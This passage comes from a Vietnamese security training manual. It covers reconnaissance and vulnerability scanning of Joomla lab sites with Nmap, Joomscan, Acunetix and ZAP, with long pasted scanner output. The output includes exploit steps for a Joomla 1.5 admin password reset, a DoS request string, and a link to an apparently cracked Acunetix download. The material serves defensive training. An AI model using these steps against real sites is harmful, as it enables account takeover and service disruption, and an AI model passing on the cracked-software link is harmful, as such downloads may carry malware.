- Nmap (Network Mapped) là một phần mềm mã nguồn mở dùng để quét đường

mạng và dò ra nhiều thông tin hữu ích trên máy chủ. Nmap không chỉ dùng để thu

thập thông tin trên máy chủ mà còn hữu dụng trong việc tìm ra lỗ hổng bảo mật.

- Nmap hỗ trợ quét các kiểu quét sau:

o TCP SYN (half open) scanning

o TCP FIN

o Xmas hay NULL (stealth) scanning

o TCP ftp proxy (bounce attack) scanning,

o SYN/FIN scanning thông qua IP (bypass một số bộ loc)

o TCP ACK và Window scanning

o UDP raw ICMP port unreachable scanning

o ICMP scanning (ping-sweep),

o TCP Ping scanning

o Direct (non portmapper) RPC scanning

o Nhận diện hệ điều hành bằng TCP/IP Fingerprinting

o Reverse-ident scanning

o Vanilla TCP connect() scanning

- Một số tính năng thường hay được sử dụng:

o Kiểm tra xem máy chủ có đang được mở (online) hay không?

o Phát hiện những cổng nào đang được mở trên máy chủ.

o Xác định được máy chủ sử dụng những dịch vụ nào, được chạy trên cổng

tương ứng nào và phiên bản là gì?.

o Kiểm tra xem máy chủ chạy trên hệ điều hành nào và phiên bản của hệ điều

hành đó.

o Phát hiện ra lỗ hổng bảo mật.

- Đánh giá: Linh hoạt, mạnh mẽ, di động, dễ sử dụng, miễn phí, tài liệu nghiên cứu tốt,

được hỗ trợ, phổ biến, giải thưởng…

b. Sử dụng nmap để scan các port chính.

i. Windows:

- Dùng Zenmap để scan url: anninhmang1.net/ với profile là Slow comprehensive

scan

Page 39: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

39

- Tab Nmap Output

- Tab Posts / Hosts:

o Port 22: SSH service

o Port 80: HTTP service, nền apache

o Port 3306: MySQL service version 5.6

o Các port trên chạy giao thức TCP

o Các port còn lại chạy giao thức UDP

Page 40: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

40

- Tab Topology

- Host Details:

o Open port : 22, 80, 3306

o IP: 1.2.3.6

o Mac address: 00:0c:29:c7:ec:0e

o Hostname: anninhmang1.net

o OS: Linux 3.2 – 4.9

ii. Sử dụng Kali Linux

- IP victim: 1.2.3.6

- Tìm các port đang open trên server

o Nmap 1.2.3.6

o Các port open: 22, 80, 3306

- Tìm các service đang lắng nghe trên port trên Server

o Nmap –sV 1.2.3.6

Page 41: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

41

o Port 22: Chạy OpenSSH 7.4

o Port 80: Apache service

o Port 3306: MySQL service (version 5.6.40)

o Mac Address: 00:0c:29:c7:ec:0e, server đang chạy trên máy ảo VMware

- Tìm Anonymous FTP Logins trên server

o Nmap –sC 1.2.3.6 –p 21

o Port 21: Closed.

2. Các công cụ scan Joomla

a. CMS Explorer:

- Là tool tự động được sử dụng để tìm và đưa ra các module, plugins, components và

themes mà một web CMS cụ thể đang sử dụng. Nó có các chức năng đưa ra các file

ẩn/ file thư viện mà về cơ bản không thể truy cập bởi web client. Nó có thể phục vụ

nhiều mục đích khác nhau như search OSVDB tìm lỗ hổng, etc.

- Câu lệnh chính:

o ./cms-explorer.pl –url http://1.2.3.3/ –type Joomla

root@kali:~/Desktop/cms-explorer-master# ./cms-explorer.pl -url http://1.2.3.3/ -

type Joomla

*****************************************************************

WARNING: No osvdb.org API key defined, searches will be disabled.

*****************************************************************

*******************************************************

Beginning run against http://1.2.3.3/...

Testing themes from joomla_themes.txt...

Theme Installed: templates/beez/

Theme Installed: templates/rhuk_milkyway/

Page 42: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

42

Theme Installed: templates/system/

Testing plugins...

Plugin Installed: components/com_banners/

Plugin Installed: components/com_contact/

Plugin Installed: components/com_content/

Plugin Installed: components/com_mailto/

Plugin Installed: components/com_media/

Plugin Installed: components/com_newsfeeds/

Plugin Installed: components/com_poll/

Plugin Installed: components/com_search/

Plugin Installed: components/com_user/

Plugin Installed: components/com_weblinks/

Plugin Installed: components/com_wrapper/

Plugin Installed: modules/mod_archive/

Plugin Installed: modules/mod_banners/

Plugin Installed: modules/mod_breadcrumbs/

Plugin Installed: modules/mod_custom/

Plugin Installed: modules/mod_feed/

Plugin Installed: modules/mod_footer/

Plugin Installed: modules/mod_latestnews/

Plugin Installed: modules/mod_login/

Plugin Installed: modules/mod_mainmenu/

Plugin Installed: modules/mod_mostread/

Plugin Installed: modules/mod_newsflash/

Plugin Installed: modules/mod_poll/

Plugin Installed: modules/mod_random_image/

Plugin Installed: modules/mod_related_items/

Plugin Installed: modules/mod_search/

Plugin Installed: modules/mod_sections/

Plugin Installed: modules/mod_stats/

Plugin Installed: modules/mod_syndicate/

Plugin Installed: modules/mod_whosonline/

Plugin Installed: modules/mod_wrapper/

*******************************************************

Summary:

Theme Installed: templates/beez/

URL http://1.2.3.3/templates/beez/

Theme Installed: templates/rhuk_milkyway/

URL http://1.2.3.3/templates/rhuk_milkyway/

Theme Installed: templates/system/

URL http://1.2.3.3/templates/system/

Plugin Installed: components/com_banners/

URL http://1.2.3.3/components/com_banners/

URL http://1.2.3.3/index.php?option=com_banners

Plugin Installed: components/com_contact/

URL http://1.2.3.3/components/com_contact/

URL http://1.2.3.3/index.php?option=com_contact

Plugin Installed: components/com_content/

URL http://1.2.3.3/components/com_content/

URL http://1.2.3.3/index.php?option=com_content

Page 43: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

43

Plugin Installed: components/com_mailto/

URL http://1.2.3.3/components/com_mailto/

URL http://1.2.3.3/index.php?option=com_mailto

Plugin Installed: components/com_media/

URL http://1.2.3.3/components/com_media/

URL http://1.2.3.3/index.php?option=com_media

Plugin Installed: components/com_newsfeeds/

URL http://1.2.3.3/components/com_newsfeeds/

URL http://1.2.3.3/index.php?option=com_newsfeeds

Plugin Installed: components/com_poll/

URL http://1.2.3.3/components/com_poll/

URL http://1.2.3.3/index.php?option=com_poll

Plugin Installed: components/com_search/

URL http://1.2.3.3/components/com_search/

URL http://1.2.3.3/index.php?option=com_search

Plugin Installed: components/com_user/

URL http://1.2.3.3/components/com_user/

URL http://1.2.3.3/index.php?option=com_user

Plugin Installed: components/com_weblinks/

URL http://1.2.3.3/components/com_weblinks/

URL http://1.2.3.3/index.php?option=com_weblinks

Plugin Installed: components/com_wrapper/

URL http://1.2.3.3/components/com_wrapper/

URL http://1.2.3.3/index.php?option=com_wrapper

Plugin Installed: modules/mod_archive/

URL http://1.2.3.3/modules/mod_archive/

Plugin Installed: modules/mod_banners/

URL http://1.2.3.3/modules/mod_banners/

Plugin Installed: modules/mod_breadcrumbs/

URL http://1.2.3.3/modules/mod_breadcrumbs/

Plugin Installed: modules/mod_custom/

URL http://1.2.3.3/modules/mod_custom/

Plugin Installed: modules/mod_feed/

URL http://1.2.3.3/modules/mod_feed/

Plugin Installed: modules/mod_footer/

URL http://1.2.3.3/modules/mod_footer/

Plugin Installed: modules/mod_latestnews/

URL http://1.2.3.3/modules/mod_latestnews/

Plugin Installed: modules/mod_login/

URL http://1.2.3.3/modules/mod_login/

Plugin Installed: modules/mod_mainmenu/

URL http://1.2.3.3/modules/mod_mainmenu/

Plugin Installed: modules/mod_mostread/

URL http://1.2.3.3/modules/mod_mostread/

Plugin Installed: modules/mod_newsflash/

URL http://1.2.3.3/modules/mod_newsflash/

Plugin Installed: modules/mod_poll/

URL http://1.2.3.3/modules/mod_poll/

Plugin Installed: modules/mod_random_image/

URL http://1.2.3.3/modules/mod_random_image/

Plugin Installed: modules/mod_related_items/

Page 44: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

44

URL http://1.2.3.3/modules/mod_related_items/

Plugin Installed: modules/mod_search/

URL http://1.2.3.3/modules/mod_search/

Plugin Installed: modules/mod_sections/

URL http://1.2.3.3/modules/mod_sections/

Plugin Installed: modules/mod_stats/

URL http://1.2.3.3/modules/mod_stats/

Plugin Installed: modules/mod_syndicate/

URL http://1.2.3.3/modules/mod_syndicate/

Plugin Installed: modules/mod_whosonline/

URL http://1.2.3.3/modules/mod_whosonline/

Plugin Installed: modules/mod_wrapper/

URL http://1.2.3.3/modules/mod_wrapper/

o Command trên liệt kê ra tất cả các mod, component, plugin and theme mà đã

install trên host 1.2.3.3, thậm chí các file này có thể đã bị ẩn và không thấy

được khi truy cập.

b. Joomscan:

- Là một dự án OWASP có thể được sử dụng để phat hiện 1 web server (nếu có sử

dụng Joomla hoặc không) và kiểm tra version của Joomla. Nó có thể tìm các lỗ hổng

trong 1 site dựa vào các plugins, extensions, etc. và nó cũng có thể sử dụng để khai

thác. 1 khi tất cả các module được list ra thì chúng ta có thể test các modules với

các lỗ hổng như RFI, LFI, SQL Injection, etc…

- Câu lệnh chính:

o ./joomscan.pl –u http://1.2.3.3/

root@kali:~# joomscan -u http://1.2.3.3

=============================================================

====

OWASP Joomla! Vulnerability Scanner v0.0.4

(c) Aung Khant, aungkhant]at[yehg.net

YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab

Update by: Web-Center, http://web-center.si (2011)

=============================================================

====

Vulnerability Entries: 611

Last update: February 2, 2012

Use "update" option to update the database

Use "check" option to check the scanner update

Use "download" option to download the scanner latest version package

Use svn co to update the scanner and the database

svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan

Target: http://1.2.3.3

Page 45: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

45

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

## Checking if the target has deployed an Anti-Scanner measure

[!] Scanning Passed ..... OK

## Detecting Joomla! based Firewall ...

[!] No known firewall detected!

## Fingerprinting in progress ...

~Generic version family ....... [1.5.x]

~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)

~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)

~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1]

~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008)

~1.5.x admin en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1]

~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008)

~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]

* The Exact version found is 1.5.0-stable

## Fingerprinting done.

## 1 Components Found in front page ##

com_mailto

Vulnerabilities Discovered

==========================

# 1

Info -> Generic: htaccess.txt has not been renamed.

Versions Affected: Any

Check: /htaccess.txt

Exploit: Generic defenses implemented in .htaccess are not available, so

exploiting is more likely to succeed.

Vulnerable? Yes

# 2

Info -> Generic: Unprotected Administrator directory

Versions Affected: Any

Check: /administrator/

Exploit: The default /administrator directory is detected. Attackers can bruteforce

administrator accounts. Read:

http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20

PROTECT.pdf

Vulnerable? Yes

# 3

Info -> Core: Multiple XSS/CSRF Vulnerability

Page 46: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

46

Versions Affected: 1.5.9 <=

Check: /?1.5.9-x

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 4.

Exploit: A series of XSS and CSRF faults exist in the administrator application.

Affected administrator components include com_admin, com_media,

com_search. Both com_admin and com_search contain XSS vulnerabilities, and

com_media contains 2 CSRF vulnerabilities.

Vulnerable? Yes

# 4

Info -> Core: JSession SSL Session Disclosure Vulnerability

Versions effected: Joomla! 1.5.8 <=

Check: /?1.5.8-x

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 5.

Exploit: When running a site under SSL (the entire site is forced to be under ssl),

Joomla! does not set the SSL flag on the cookie. This can allow someone

monitoring the network to find the cookie related to the session.

Vulnerable? Yes

# 5

Info -> Core: Frontend XSS Vulnerability

Versions effected: 1.5.10 <=

Check: /?1.5.10-x

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 6.

Exploit: Some values were output from the database without being properly

escaped. Most strings in question were sourced from the administrator panel.

Malicious normal admin can leverage it to gain access to super admin.

Vulnerable? Yes

# 6

Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered Vulnerability

Versions effected: 1.5.11 <=

Check: /?1.5.11-x-http_ref

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 9.

Exploit: An attacker can inject JavaScript or DHTML code that will be executed in

the context of targeted user browser, allowing the attacker to steal cookies.

HTTP_REFERER variable is not properly parsed.

Vulnerable? Yes

# 7

Info -> Core: Frontend XSS - PHP_SELF not properly filtered Vulnerability

Versions effected: 1.5.11 <=

Check: /?1.5.11-x-php-s3lf

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 10.

Exploit: An attacker can inject JavaScript code in a URL that will be executed in

the context of targeted user browser.

Vulnerable? Yes

# 8

Info -> Core: Authentication Bypass Vulnerability

Versions effected: Joomla! 1.5.3 <=

Page 47: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

47

Check: /administrator/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 11.

Exploit: Backend accepts any password for custom Super Administrator when

LDAP enabled

Vulnerable? Yes

# 9

Info -> Core: Path Disclosure Vulnerability

Versions effected: Joomla! 1.5.3 <=

Check: /?1.5.3-path-disclose

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 12.

Exploit: Crafted URL can disclose absolute path

Vulnerable? Yes

# 10

Info -> Core: User redirected Spamming Vulnerability

Versions effected: Joomla! 1.5.3 <=

Check: /?1.5.3-spam

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 13.

Exploit: User redirect spam

Vulnerable? Yes

# 12

Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability

Versions effected: 1.0.13 <=

Check: /administrator/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 15.

Exploit: It requires an administrator to be logged in and to be tricked into a

specially crafted webpage.

Vulnerable? Yes

# 13

Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory

Traversal Vulnerability

Versions effected: Joomla! 1.5.8 <=

Check: /plugins/editors/xstandard/attachmentlibrary.php

Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to

/plugins/editors/xstandard/attachmentlibrary.php

Vulnerable? Yes

# 14

Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability

Versions effected: Joomla! 1.5.0 Beta/Stable

Check: /libraries/phpmailer/phpmailer.php

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 21.

Exploit: N/A

Vulnerable? Yes

# 15

Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability

Page 48: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

48

Versions Affected: 1.5.5 <=

Check: /components/com_user/controller.php

Exploit: 1. Go to url :

target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write

into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to

url : target.com/administrator/ 5. Login admin with new password

Vulnerable? Yes

# 21

Info -> CoreComponent: com_content XSS Vulnerability

Version Affected: Joomla! 1.5.7 <=

Check: /components/com_content/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 30.

Exploit: The defaults on com_content article submission allow entry of dangerous

HTML tags (script, etc). This only affects users with access level Author or

higher, and only if you have not set filtering options in com_content configuration.

Vulnerable? Yes

# 22

Info -> CoreComponent: com_weblinks XSS Vulnerability

Version Affected: Joomla! 1.5.7 <=

Check: /components/com_weblinks/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 31.

Exploit: [Requires valid user account] com_weblinks allows raw HTML into the

title and description tags for weblink submissions (from both the administrator

and site submission forms).

Vulnerable? Yes

# 23

Info -> CoreComponent: com_mailto Email Spam Vulnerability

Version Affected: Joomla! 1.5.6 <=

Check: /components/com_mailto/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 32.

Exploit: The mailto component does not verify validity of the URL prior to sending.

Vulnerable? Yes

# 25

Info -> CoreComponent: com_content XSS Vulnerability

Version Affected: Joomla! 1.5.9 <=

Check: /components/com_content/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 34.

Exploit: A XSS vulnerability exists in the category view of com_content.

Vulnerable? Yes

# 26

Info -> CoreComponent: com_installer CSRF Vulnerability

Versions effected: Joomla! 1.5.0 Beta

Check: /administrator/components/com_installer/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 36.

Page 49: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

49

Exploit: N/A

Vulnerable? Yes

# 28

Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS

Vulnerability

Versions effected: 1.0.7 <=

Check: /components/com_poll/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 38.

Exploit: Send request

/index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AA

A<><>

Vulnerable? Yes

# 30

Info -> CoreComponent: com_mailto timeout Vulnerability

Versions effected: 1.5.13 <=

Check: /components/com_mailto/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 40.

Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass

timeout protection against sending automated emails.

Vulnerable? Yes

There are 21 vulnerable points in 34 found entries!

~[*] Time Taken: 32 sec

~[*] Send bugs, suggestions, contributions to [email protected]

o Version hiện tại của target là 1.5.0, chạy apache 2.4.6, PHP 5.4.16

o Các vulnerable Yes là những vulnerable có khả năng bị khai thác, tấn công

bởi hacker.

o Admin page: http://1.2.3.3//administrator/

Page 50: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

50

c. Wappalyzer

- Là 1 tiện ích mở rộng có sẳn trên Firefox và Chrome, giúp chúng ta khám phá kĩ

thuật mà website sử dụng. Nó giúp chúng ta dễ dàng phát hiện CSM, Web shop,

Web Server, JS frameworks, các tool phân tích, etc. Như là 1 bộ phát hiện CMS, nó

khá hữu dụng và có tỉ lệ phân tích thành công cao hơn các tool khác.

3. Sử dụng Acunetix, ZAP và các công cụ scan web khác.

a. Acunetix WVS:

i. Khái niệm:

- Acunetix WVS là phần mềm quét lỗ hổng website hiệu quả nhất, nó kiểm tra tất cả

các lỗ hổng website bao gồm cả SQL Injection, Cross Site Scripting và quét nhiều

nhiều lỗ hổng website khác.

- Acunetix WVS có một bộ engine phát hiện lỗ hổng website hàng đầu kèm theo

là Acunetix AcuSensor thực hiện các cuộc tấn công tự động và hiển thị các lỗ hổng

được tìm thấy. Đây là một công nghệ bảo mật duy nhất có thể nhanh chóng tìm thấy

lỗ hổng với số lượng cảnh báo giả rất thấp, cho thấy lỗ hổng trong mã và báo cáo

thông tin gỡ lỗi. Đồng thời xác định các lỗ hổng website như CRLF, Code execution,

Directory Traversal, File inclusion, lỗ hổng trong xác thực và các lỗ hổng khác.

- Có thể download:

http://www.mediafire.com/file/bb1xcrq61sc962l/Acunetix+v8.0_full_CLEAN+100+%2

5+VERSION_free-4-free.blogspot.com.rar

ii. Sử dụng Acunetix Web Vulnerability Scanner:

- Mở AWVS scan website: http://1.2.3.6/jl25/

Page 51: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

51

- Chọn File -> New -> Web Site Scan

- Website URL: http:1.2.3.6/jl25 -> Next

Page 52: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

52

- Chọn Next

- Chọn Next

Page 53: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

53

- Chọn Next

- Chọn Finish

- Chờ đợi quá trình Scan hoàn tất

- Note: trong quá trình Scan có thể mất vài tiếng hoặc cả 1 ngày để hoàn tất.

Page 54: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

54

b. ZAP

i. Khái niệm:

- Zed Attack Proxy (ZAP) là công cụ tích hợp của tập hợp nhiều công cụ pentest có

chức năng khác nhau. ZAP cho phép người sử dụng có thể thực hiện nhiều tác vụ

nhằm dò tìm điểm yếu trên ứng dụng web.

- Những tiện ích nổi bật của ZAP

o Intercepting Proxy : Bản chất ZAP là một proxy chặn giữa người dùng và ứng

dụng web

o Automated scanner

o Passive scanner

o Brute Force scanner : Cho phép tìm cây thư mục,tính năng này là sự tích hợp

của công cụ Dir Buster mà mình đã giới thiệu trước đó.

o Spider : Tìm kiếm các url trong website

o Fuzzer : Tích hợp tiện ích JbroFuz.

o Port scanner

o Dynamic SSL certificates : tự tạo một cert root CA,thực hiện MiTM để decrypt

các traffic mã hóa bởi SSL.

o Report: cung cấp output ra report dạng HTML và XML

- Download ZAP: https://github.com/zaproxy/zaproxy/wiki/Downloads

Sau khi cài đặt xong ZAP,việc đầu tiên các bạn cần cấu hình để proxy trên các trình

duyệt về địa chỉ 127.0.0.1 port 8080, việc này có tác dụng điều hướng các traffic đi

qua ZAP.

Giao diện của ZAP

ii. Demo:

- Chỉnh proxy trên trình duyệt về 127.0.0.1 port 8080 để hướng traffic đi qua ZAP, trên

Chrome chọn Cài đặt -> Cài đặt -> Kéo xuống:

Page 55: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

55

- Mở cài đặt proxy

- Chọn LAN settings

- Bỏ tích mục Automatically detect settings

- Tích vào Use a proxy server for your LAN (…)

o Address: 127.0.0.1

o Port: 8080

- Nhấn Ok

Page 56: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

56

- Giao diện của ZAP

- Vào trình duyệt gõ http://1.2.3.6/jl25 và trở lại ZAP

Dùng trình duyệt view qua website mà bạn định pentest,tính năng Automated

scanner sẽ tự động quét website và đưa ra các thông tin cần thiết ví dụ như các alert

Page 57: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

57

- Tiếp đến,để thực hiện các tính năng khác như brute force thư mục,các bạn click

chuột phải vào site,chọn Attack > Spider

- Starting point: nhập IP server -> Start Scan

- ZAP scan và search ra tất cả các thư mục và file tồn tại trên host này

- Tab message:

o Get và Post trả về 200 chứng tỏ thư mục vẫn tồn tại, ví dụ vào trình duyệt gõ:

http://1.2.3.6//administrator như ZAP trả về

o GET trả về 404 tức là file hoặc thư mục không tồn tại

Page 58: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

58

- Còn nhiều chức năng khác mà ZAP hỗ trợ như:

c. Các công cụ scan web khác:

i. Wireshark

- Nhiệm vụ chính của Wireshark là phân tích gói tin, nó cho phép bạn có thể giám sát

được toàn bộ lưu lượng mạng bằng cách đưa giao diện vào chế độ promiscuouus.

- Ngoài ra, bạn có thể xem các điểm cuối – endpoints, cửa sổ thống kê phân cấp giao

thức

- Thân thiện với người dùng, cộng đồng whireshark lớn và các hệ điều hành đều có

thể dùng được công cụ đánh giá an ninh mạng Wireshark này.

ii. SQLmap

- công cụ đánh giá, kiểm tra lỗ hổng trong cơ sở dữ liệu SQL – SQLmap. Đây là là

một công cụ miễn phí và là mã nguồn mở được sử dụng chủ yếu để phát hiện và

khai thác các vấn đề SQL injection trong ứng dụng. Đặc biệt giới hacker rất thích

dùng SQLmap

iii. Metasploit Framework

Page 59: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

59

- Một trong những công cụ các hacker chuyên dùng để tấn công và kiểm tra độ an

toàn và sự bảo mật của hệ thống chính là Metasploit. Thực chất Metasploit là taapj

hợp rất nhiều chương trình dùng để thực hiện cho việc tấn công, kiểm tra sự bảo

mật giống như 1 Framework, nó được phát triển bởi Rapid7

iv. Burp Suite - Burp Suite là một nền tảng tích hợp, là một công cụ kiểm tra lỗ hổng bảo mật ứng

dụng website. Nó có nhiều công cụ tích hợp trong đó hai công cụ chính trong phiên

bản miễn phí là Spider and Intruder. Spider được sử dụng để thu thập thông tin các

trang của ứng dụng và Intruder được sử dụng để thực hiện các cuộc tấn công tự

động trên ứng dụng web. Burp có một công cụ bổ sung hiện nay được gọi là Burp

Scanner được dùng trong việc quét các lỗ hổng có trong ứng dụng

v. Nessus - Nessus là một công cụ được các nhà quản trị hệ thống và hacker yêu thích bởi nó có

cơ sở dữ liệu lớn về các lỗ hổng bảo mật, được cập nhật liên tục. Có thể nói nó

giống như 1 cuốn siêu từ điển vậy, đây là công cụ kiểm tra hệ thống xem có bị dính

lỗ hổng hay không.

vi. Hydra - Tương tự như công cụ bẻ khóa mật khẩu John the Ripper. Hydra có thể thực hiện

cuộc tấn công từ điển nhanh chóng chống lại hơn 50 giao thức, bao gồm telnet, ftp,

http, https, smb, một số cơ sở dữ liệu, và nhiều hơn nữa.

Page 60: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

60

Phần 3: CÁC LOẠI TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY - Mục tiêu: Giơí thiệu, demo và hướng dẫn sửa lỗi các lỗi và phương thức tấn

công phổ biến, nguy hiểm trên website chạy CSM joomla, Liferay.

- Nội dung:

o Các loại tấn công trên joomla 1.5, 2.5, 3.5

Joomla version scan

Joomla Brute Force Attack

Word list (dictionary)

o Các loại tấn công trên Liferay portal

o SQL Injection

Dạng tấn công sử dụng câu lệnh SELECT

Dạng tấn công sử dụng câu lệnh INSERT

Dạng tấn công sử dụng stored-procedures

Blind SQL injection

o XSS (Cross-Site Scripting)

Reflected XSS

Stored XSS

DOM-based XSS

o Joomla Security Plugins:

Centrora Security

Securitycheck

RSFirewall

o Htaccess

.htaccess

Authentication

Session manager

Token control

Redirect admin

o Sửa lỗi

o Cài đặt công cụ bảo mật Modsecuriy

- Bài tập: Kiểm tra và rà soát lỗi website đơn vị, Thực hành các bài tập của từng

loại tấn công.

Page 61: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

61

1. Các loại tấn công trên Joomla

a. Joomla version scan

- Ở phần trước đã có giới thiệu về các tools dùng để scan Joomla gồm các tools

như: CMS Explorer, Joomscan, Wappalyzer, chúng ta sẽ sử dụng Joomscan để

scan 1 trang Joomla bất kì.

- Mở Kali và tiến hành scan target: 1.2.3.3

o Joomscan –u 1.2.3.3

o Kết quả:

Target: http://1.2.3.3

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

~Generic version family ....... [1.5.x]

~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)

~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)

~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1]

~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008)

~1.5.x admin en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1]

~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008)

~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]

* The Exact version found is 1.5.0-stable

## Fingerprinting done.

## 1 Components Found in front page ##

com_mailto

o Version joomla của victim: 1.5.0

o Các component:

Com_mailto

o Có 21 lỗ hổng trong quá trình scan

Vulnerabilities Discovered

==========================

# 1

Info -> Generic: htaccess.txt has not been renamed.

Versions Affected: Any

Check: /htaccess.txt

Exploit: Generic defenses implemented in .htaccess are not available,

so exploiting is more likely to succeed.

Vulnerable? Yes

# 2

Info -> Generic: Unprotected Administrator directory

